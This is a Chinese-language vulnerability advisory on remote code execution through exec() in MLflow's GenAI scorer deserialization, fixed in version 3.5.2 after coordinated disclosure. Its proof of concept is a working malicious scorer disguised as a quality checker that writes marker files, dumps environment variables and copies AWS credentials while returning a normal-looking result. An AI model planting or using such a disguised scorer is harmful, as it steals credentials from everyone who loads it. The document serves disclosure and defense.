MLflow 中通过 GenAI 评分器反序列化实现的远程代码执行
作者: Evan Harris
风险: 高
受影响组件: MLflow GenAI 评分器(mlflow/mlflow)
TL;DR
MLflow 的 GenAI 评分器反序列化机制存在一个远程代码执行漏洞。scorer_utils.py 中的 recreate_function() 工具会将攻击者可控的评分器数据(存储在 MLflow 跟踪数据库中)直接传递给 Python 的 exec()。由某个用户注册的恶意评分器,会在之后任何检索并运行它的人的机器上执行任意代码,从而在整个 ML 团队范围内促成供应链攻击。我们已将该问题报告给 MLflow 维护者,他们通过将自定义评分器的注册和加载限制在由 Databricks 控制的环境中来修复该问题。用户应升级到 MLflow 3.5.2 或更高版本。
背景
MLflow 的 GenAI 模块允许团队定义评分器,即用于评估 LLM 输出质量(长度检查、内容安全、格式规范等)的 Python 函数。评分器可以使用 @scorer 装饰器编写,针对某个实验进行注册,之后再通过 get_scorer() 按名称检索,以便同事复用共享的评估逻辑。
为实现这一点,MLflow 会将评分器的底层函数序列化并存储在跟踪数据库中。当检索评分器时,MLflow 会从存储的数据重建该函数。漏洞正存在于重建步骤中:序列化的源码是通过调用 Python 的 exec() 来重新构造的,而 exec() 会运行传递给它的任何代码。由于存储的数据完全由攻击者控制,任何能够注册评分器的人都可以植入将在另一名用户进程内执行的代码。
概述
该漏洞是沿着一条以 exec() 结束的反序列化调用链触发的:
%%{init: {'themeVariables': {'fontSize': '18px'}}}%%
flowchart TD
A[Attacker authors malicious @scorer
with payload hidden in the body] --> B[Distributed via PyPI, GitHub,
or shared Python module]
B --> C[Victim imports and registers
the scorer with MLflow]
C --> D[Serialized function stored in
tracking database]
D --> E["get_scorer(name, experiment_id)
registry.py:571"]
E --> F["Scorer.model_validate()
base.py:222"]
F --> G["_reconstruct_decorator_scorer()
base.py:298"]
G --> H["recreate_function()
scorer_utils.py:131"]
H --> I["exec(attacker_source)"]
I --> J[Remote Code Execution
in victim process]
style A fill:#ffebee
style B fill:#ffebee
style C fill:#fff3e0
style D fill:#fff9c4
style E fill:#fff9c4
style F fill:#fff9c4
style G fill:#fff9c4
style H fill:#ffcdd2
style I fill:#ffcdd2
style J fill:#ffcdd2
调用链如下:
mlflow.genai.scorers.get_scorer()
→ Scorer.model_validate() # registry.py:571
→ _reconstruct_decorator_scorer() # base.py:222
→ recreate_function() # base.py:298
→ exec() # scorer_utils.py:131 ← REMOTE CODE EXECUTION
攻击场景
- 攻击者编写一个看起来合法的评分器(一个带有可信文档字符串的“质量检查器”),但在函数体中隐藏了恶意载荷。
- 攻击者通过受害者信任的渠道分发该评分器:PyPI 包、团队 GitHub 仓库或共享的 Python 模块。
- 受害者导入该评分器并将其注册到 MLflow。序列化后的函数被写入跟踪数据库。
- 之后,可能是在另一台机器上、由另一名团队成员、在数天或数周之后,有人通过
get_scorer()检索该评分器并使用它。 - 在反序列化过程中,
recreate_function()会对存储的源码调用exec()。隐藏的载荷会以受害者进程的完整权限运行。
由于触发在时间上和用户上都与注册相解耦,这种攻击是无声的:仅注册一次的单个恶意评分器,就可以危害团队中之后拉取它的每一个人。
概念验证
下面的恶意评分器把自己伪装成一个输出质量检查器。函数体中包含一段载荷,会释放一个标记文件、外泄环境变量并窃取 AWS 凭据,然后返回一个看似合理的结果以避免引起怀疑:
from mlflow.genai.scorers import scorer
@scorer
def quality_checker(outputs):
"""
Quality checker for LLM outputs.
Validates that outputs meet quality standards:
- Minimum length requirements
- No offensive content
- Proper formatting
Returns:
bool: True if output passes quality checks
"""
# MALICIOUS PAYLOAD HIDDEN BELOW
import os
# Create proof file
os.system('touch /tmp/rce_supply_chain.txt')
os.system('echo "COMPROMISED VIA SUPPLY CHAIN" > /tmp/rce_supply_chain.txt')
# Exfiltrate environment variables
env_data = dict(os.environ)
with open('/tmp/exfiltrated_env.txt', 'w') as f:
f.write("EXFILTRATED ENVIRONMENT:\n")
for key, value in list(env_data.items())[:10]:
f.write(f'{key}={value}\n')
# Harvest AWS credentials
aws_creds_path = os.path.expanduser('~/.aws/credentials')
if os.path.exists(aws_creds_path):
with open(aws_creds_path, 'r') as f_in:
with open('/tmp/aws_credentials_stolen.txt', 'w') as f_out:
f_out.write(f_in.read())
# Return a valid result to avoid suspicion
return len(outputs) > 10
受害者会像平常一样检索这个共享评分器:
import mlflow
from mlflow.genai.scorers import get_scorer
# Different machine, different user, or days later
mlflow.set_tracking_uri("sqlite:///mlflow_tracking/mlflow.db")
scorer = get_scorer(name="quality_checker_v1", experiment_id="1")
然后使用它:
result = scorer(outputs="This is test output to evaluate")
此时 RCE 触发,载荷在受害者的进程中运行。
影响
取决于不受信任的评分器数据所携带的载荷,攻击者可以:
- 执行任意 Python 代码,具有受害者进程的完整权限
- 外泄敏感数据,例如凭据、环境变量和源代码
- 窃取凭据,来自常见位置(AWS、Docker、SSH)
- 建立持久化,在受害者的机器上
- 进行横向移动和网络侦察
该缺陷的供应链性质放大了其影响:由单个团队成员注册的一个恶意评分器,就可以危害之后检索它的每一个用户,且触发发生在注册很久之后并且是无声的。
MLflow 的响应
在我们通过 MLflow 的协同披露流程披露该问题后,维护者在拉取请求 #18493 中对其进行了处理。
维护者没有尝试对反序列化的源码进行沙箱化或校验,而是在受控环境之外移除了这一危险能力:注册和加载基于自定义代码的评分器现在被限制在 Databricks 跟踪环境中,在那里能够上传评分器的用户集合是受控的。使用其他跟踪后端的用户被引导使用更安全的替代方案,例如内置评分器和基于 make_judge() 的评分器,它们在反序列化期间不需要执行任意代码。
修复已在 MLflow 3.5.2 中发布。
建议
面向最终用户
- 升级到 MLflow 3.5.2 或更高版本。
- 仅从你完全信任的来源注册和检索自定义评分器。
- 将跟踪数据库中的评分器数据视为不受信任的代码,而非惰性数据。任何能够写入跟踪存储的人都可以在每个使用方上运行代码。
- 优先使用内置评分器或
make_judge()评分器,它们在反序列化期间不执行任意代码。 - 限制对共享跟踪数据库的写入权限,并在团队范围内复用评分器之前对其进行审查。
时间线
| 日期 | 事件 |
|---|---|
| October 20, 2025 | 通过协同披露向 MLflow 维护者报告漏洞(issue #18404) |
| October 24, 2025 | MLflow 合并修复(PR #18493),在 v3.5.2 中发布 |
| January 8, 2026 | huntr 将该问题标记为重复 |
| June 8, 2026 | 公开披露 |